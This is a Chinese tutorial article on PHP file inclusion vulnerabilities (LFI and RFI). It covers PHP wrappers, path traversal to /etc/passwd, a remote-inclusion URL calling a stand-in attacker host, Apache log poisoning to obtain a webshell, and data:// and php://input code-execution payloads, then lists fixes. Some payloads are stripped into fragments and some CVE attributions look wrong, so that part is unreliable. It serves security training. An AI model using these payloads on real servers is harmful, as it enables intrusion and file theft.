文章总结: 文章详细介绍了文件包含漏洞的概念、分类、PHP相关函数、伪协议、利用方法、CVE案例和修复方案。主要结论是文件包含漏洞分为本地文件包含(LFI)和远程文件包含(RFI),可通过多种方式利用。关键发现包括PHP伪协议的使用、日志包含绕过等技巧。可操作建议包括验证和过滤输入、使用白名单机制等修复方案。
综合评分: 88
文章分类: WEB安全,渗透测试,漏洞分析,红队,代码审计
【连载】红蓝对抗-攻防演练-WEB安全渗透测试:文件包含漏洞
原创
OneDay一卒的老付
老付话安全
2025年11月19日 20:30
山东
标题已修改
1.文件包含漏洞
文件包含就是对通用的文件代码单独作为一个文件,在其他文件中进行引用。
1.1.漏洞概述及分类
文件包含漏洞是在编程时为了代码复用而采用的文件包含机制。
为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码。(一个文件里面包含另外一个或多个文件。)
这种机制允许程序动态地加载和执行存储在不同文件中的代码,但同时也为攻击者提供了可乘之机。
这种是包含指定页面,不存在文件包含漏洞
这种通过动态变量的传参才存在文件包含漏洞
1.2.PHP相关函数
Ø**include()****和 include\_once()**
这两个函数用于在脚本中包含并运行指定的文件。include()会在每次调用时包含文件,而include\_once()则只会在文件尚未被包含时才包含文件。
Ø**require()****和 require\_once()**
这两个函数与include()和include\_once()类似,但它们在包含文件失败时会生成致命错误并停止脚本执行。require()会在每次调用时包含文件,而require\_once()则只会在文件尚未被包含时才包含文件。
Ø**file\_get\_contents()**
这个函数用于将文件的内容读取为字符串。它可以用于读取文件内容并将其输出到浏览器,也可以用于读取远程文件的内容。
Ø**fopen()**
这个函数用于打开文件或 URL。它可以用于读取文件内容,也可以用于写入文件内容。
Ø**highlight\_file()****和 show\_source()**
这两个函数用于高亮显示文件的内容。它们通常用于显示PHP代码的源码。
1.3.常见脚本语言伪协议解读
Ø**php://filter**
这个伪协议用于数据流过滤器。它可以用于读取文件内容并对其进行过滤,例如使用convert.base64-encode 过滤器将文件内容转换为Base64编码。
Ø**php://input**
这个伪协议用于读取原始的POST数据。它可以用于接收用户提交的数据并将其包含到脚本中。
Ø**file://**
这个伪协议用于访问文件系统中的文件。它可以用于包含本地文件,也可以用于包含远程文件(如果允许远程文件包含)
1.3.1. PHP伪协议总结
1.4.文件包含漏洞概述及分类演示
漏洞通常是由于在包含文件的过程中,未对包含的变量进行检查及过滤,导致外部提交的恶意数据作为变量进入到了文件包含的过程中,从而导致提交的恶意数据被执行。
1.4.1. 文件包含分类
文件包含漏洞可以分为LFI (Local File Inclusion,本地文件包含)和RFI(Remote File Inclusion,远程文件包含)。区分二者最简单的方法就是查看php.ini中是否开启了allow\_url\_include,如果开启就有可能包含远程文件。
分类:
1. 本地包含-Local File Include-LFI

2. 远程包含-Remote File Include-RFI
远程文件包含需要php.ini中allow\_url\_include=On,allow\_url\_fopen=On。在php.ini中,allow\_url\_fopen默认是on,而allow\_url\_include从php5.2之后默认为Off。

要保证php.ini中allow\_url\_fopen和allow\_url\_include要为On
差异原因:代码过滤和环境配置文件开关决定
1.5.文件包含漏洞挖掘与利用
1.5.1. 文件包含利用条件
include()等函数通过动态执行变量的方式引入需要包含的文件
用户能控制该动态变量
注意:只要文件内容符合PHP语法规范,任何扩展名均可被PHP解析。故在文件上传绕过白名单时,可以使用文件包含漏洞来绕过白名单限制。
1.5.2. 文件包含漏洞的常见攻击手法
**路径遍历攻击:**攻击者通过在文件路径中包含特殊字符(如../),试图访问服务器上的任意文件。例如,通过构造如下URL来读取服务器上的敏感文件:
http://example.com/index.php?file=../../../../etc/passwd
**远程文件包含:**攻击者通过在文件路径中包含远程服务器的URL,试图包含并执行远程服务器上的恶意文件。例如,通过构造如下URL来包含远程服务器上的恶意文件:
http://example.com/index.php?file=http://attacker.com/malicious.php
**文件上传攻击:**攻击者通过上传恶意文件,并在文件路径中包含该恶意文件的路径,试图执行恶意代码。例如,通过上传一个名为malicious.php 的恶意文件,并构造如下URL来包含该恶意文件:
http://example.com/index.php?file=uploads/malicious.php
**文件覆盖攻击:**攻击者通过在文件路径中包含已存在的文件路径,试图覆盖服务器上的现有文件。例如,通过构造如下URL来覆盖服务器上的index.php 文件:
http://example.com/index.php?file=index.php
**文件下载攻击:**攻击者通过在文件路径中包含敏感文件的路径,试图下载服务器上的敏感文件。例如,通过构造如下URL来下载服务器上的config.php 文件:
http://example.com/index.php?file=config.php
1.5.3. 漏洞利用
白盒审计-白盒发现:
·可通过应用功能追踪代码定位审计
·可通过脚本特定函数搜索定位审计
·可通过伪协议玩法绕过相关修复等
PHP:include、require、include\_once、require\_once等,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require函数出现错误的时候,会直接报错并退出程序的执行
Java:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等
黑盒发现:主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼
利用(无文件就是指目标没有上传点,只能包含服务器已经存在的文件)
本地利用思路:
·配合文件上传(目标有上传点,自己上传一个恶意代码的文件)
·无文件包含日志
·无文件包含SESSION
·无文件支持伪协议利用
1.6.CVE实际漏洞案例
CVE-2020-1938:这是Apache Tomcat的一个文件包含漏洞,也被称为Tomcat AJP文件包含漏洞。攻击者可以利用这个漏洞读取服务器webapp下的任意文件,甚至获取shell。这个漏洞是由于Tomcat AJP协议存在缺陷而导致的。
CVE-2017-18254:这是PHPMyAdmin的一个文件包含漏洞。攻击者可以利用这个漏洞在服务器上执行任意文件,从而获取数据库的敏感信息或控制服务器。
CVE-2018-1000050:这是Drupal的一个远程代码执行漏洞,也被称为Drupalgeddon2。攻击者可以利用这个漏洞在服务器上执行任意代码,从而获取敏感信息或控制服务器。这个漏洞的部分利用方式涉及到文件包含漏洞。
CVE-2019-16757:这是WordPress的一个文件包含漏洞。攻击者可以利用这个漏洞在服务器上执行任意文件,从而获取数据库的敏感信息或控制服务器。
CVE-2020-7246:这是Zabbix的一个文件包含漏洞。攻击者可以利用这个漏洞在服务器上执行任意文件,从而获取敏感信息或控制服务器。
1.7.DVWA靶场案例演示
略
1.8.CTF题目案例
略
1.9.中间件日志、Apache日志包含绕过
生成日志记录
攻击者通过访问一个不存在的资源,并在URL中包含恶意代码(例如一句话木马),Apache会将该请求记录到access.log 文件中。
例如,访问http://example.com/nonexistent.php?phpinfo(); ,Apache会将该请求记录到access.log 文件中。
拦截并修改请求
由于直接访问URL后,恶意代码在日志文件中会被URL编码,因此需要通过工具(如Burp Suite)拦截请求并修改为原始的恶意代码。
使用Burp Suite拦截请求后,将请求中的恶意代码修改为未编码的形式,然后重新发送请求。
包含日志文件
在目标服务器存在文件包含漏洞的情况下,攻击者可以通过包含access.log 文件来执行日志文件中的恶意代码。
例如,通过构造包含access.log 文件的请求,如http://example.com/vulnerable.php?file=../../logs/access.log 。
执行恶意代码
由于access.log 文件中包含了未编码的恶意代码,服务器在包含该文件时会将其作为PHP代码执行,从而实现攻击者的意图。
文件包含漏洞中,通过日志包含进行绕过是一种常见的攻击手段。
Apache服务器在运行过程中会生成两个主要的日志文件:access.log (访问日志)和error.log (错误日志)。这些日志文件记录了客户端的每次请求及服务器响应的相关信息。当访问一个不存在的资源时,Apache日志同样会记录该请求。
示例:
假设目标服务器存在文件包含漏洞,并且攻击者希望通过日志包含来获取WebShell权限。具体步骤如下:
1) 生成日志记录
访问http://example.com/nonexistent.php?,Apache会将该请求记录到access.log 文件中。
2) 拦截并修改请求
使用Burp Suite拦截请求,并将请求中的恶意代码修改为未编码的形式,然后重新发送请求。
3) 包含日志文件
构造包含access.log 文件的请求,如http://example.com/vulnerable.php?file=../../logs/access.log 。
4) 执行恶意代码
服务器在包含access.log 文件时会将其作为PHP代码执行,从而创建一个WebShell文件,攻击者可以通过该文件获取服务器的控制权。
1.9.1. 常见中间件的日志路径
Apache+linux组合的日志默认路径/etc/httpd/logs/access\_log或者/var/log/httpd/access log
Apche+Windows组合的日志默认路径
XAMPP套件:xampp\apache\logs\access.log
phpstudy套件:phpstudy\Apache\logs\access.log
IIS6默认日志路径:C:WINDOWS\system32\Logfiles
IIS7默认日志路径:%SystemDrive%\inetpub\logs\LogFiles
Nginx,Nginx日志文件再用户安装目录的logs目录下,如安装目录为/usr/local/nginx,则日志记录就在/usr/local/nginx/logs里。也可通过其配置文件nginx.conf,获取到日志路径(/opt/nginx/logs/access.log)
1.10.文件下载/读取漏洞利用实战
1.10.1. PHP包含读写文件
1)读取文件操作:
Øfopen()和fread()函数
首先使用fopen()函数打开文件。它接受两个参数,第一个是文件名(可以包含路径),第二个是打开模式。例如,要以只读模式打开一个文件,可以使用r模式。
Øfile\_get\_contents()函数
这是一个更简单的读取文件内容的函数。它直接返回文件的内容。
2)写入文件操作
Øfopen()和fwrite()函数
使用fopen()函数以写入模式(w模式)打开文件。如果文件不存在,会创建一个新文件;如果文件存在,会清空文件内容再写入。
Øfile\_put\_contents()函数
这个函数可以直接将内容写入文件。如果文件不存在,会创建文件;如果文件存在,会覆盖文件内容。
1.10.2. 文件读取
方式一:file:///etc/passwd
方式二:
php://filter/read=convert.base64-encode/resource=phpinfo.php
1.10.3. 文件写入
方式一:
php://filter/write=convert.base64-encode/resource=phpinfo.php //这个需要代码里有两个参数才行
方式二:
php://input
POST:‘); ?>
1.10.4. 代码执行
方式一:
php://input
POST:
方式二:
data://text/plain,
方式三:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
1.10.5. 远程利用思路
直接搭建一个可访问的远程URL包含文件(不能是脚本文件,其他后缀随意,可包含一句话getshell)
1.11.str_replace函数绕过
在PHP中,str_replace函数用于替换字符串中的子字符串。攻击者可能会尝试绕过str_replace函数的替换规则,以达到特定的目的。
多字节字符绕过
由于str_replace函数在处理多字节字符时可能存在漏洞,攻击者可以利用这一点来绕过替换规则。
例如,使用URL编码或多字节字符来构造输入,使得str_replace无法正确识别和替换目标字符串。
使用null字符绕过
攻击者可以使用null字符(\0)来绕过str_replace函数的替换规则。由于str_replace在处理null字符时可能会出现问题,攻击者可以利用这一点来构造输入。
结合其他函数绕过
攻击者可以结合使用其他PHP函数(如addslashes、htmlspecialchars等)来绕过str_replace函数的替换规则。
例如,使用addslashes函数来转义特殊字符,然后再使用str_replace进行替换。
利用正则表达式绕过
攻击者可以使用正则表达式来绕过str_replace函数的替换规则。
例如,使用preg_replace函数来替换特定模式的字符串。
1.12.包含截断绕过FNM_TBH函数绕过
n%00截断法
前提条件:PHP版本低于5.3.4,magic_quotes_gpc关闭。
方法:在文件名中使用%00,这样服务器在解析文件名时会将其截断,从而绕过文件名的验证。
示例:filename=test.txt%00
n路径截断法
方法:构造一个超长的文件路径,使得服务器在处理路径时发生截断,从而绕过路径验证。
示例:filename=../.././../../其他的文件名,然后在文件名中加入%00`,这样可以利用%00截断的特性来绕过文件包含的限制。
n双写绕过
方法:利用str_replace函数的特性,通过双写绕过替换规则。例如,将page=ht替换为page=htt,从而绕过文件名的验证。
1.13.文件包含漏洞修复方案
Ø验证和过滤输入。
Ø使用安全的文件包含函数。
Ø参数化路径。
Ø禁止执行脚本文件。
Ø使用安全的编程模式。
Ø更新和使用安全库。
Ø启用安全模块。
Ø实施安全策略。
Ø使用白名单机制
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:老付话安全 OneDay一卒的老付《【连载】红蓝对抗-攻防演练-WEB安全渗透测试:文件包含漏洞》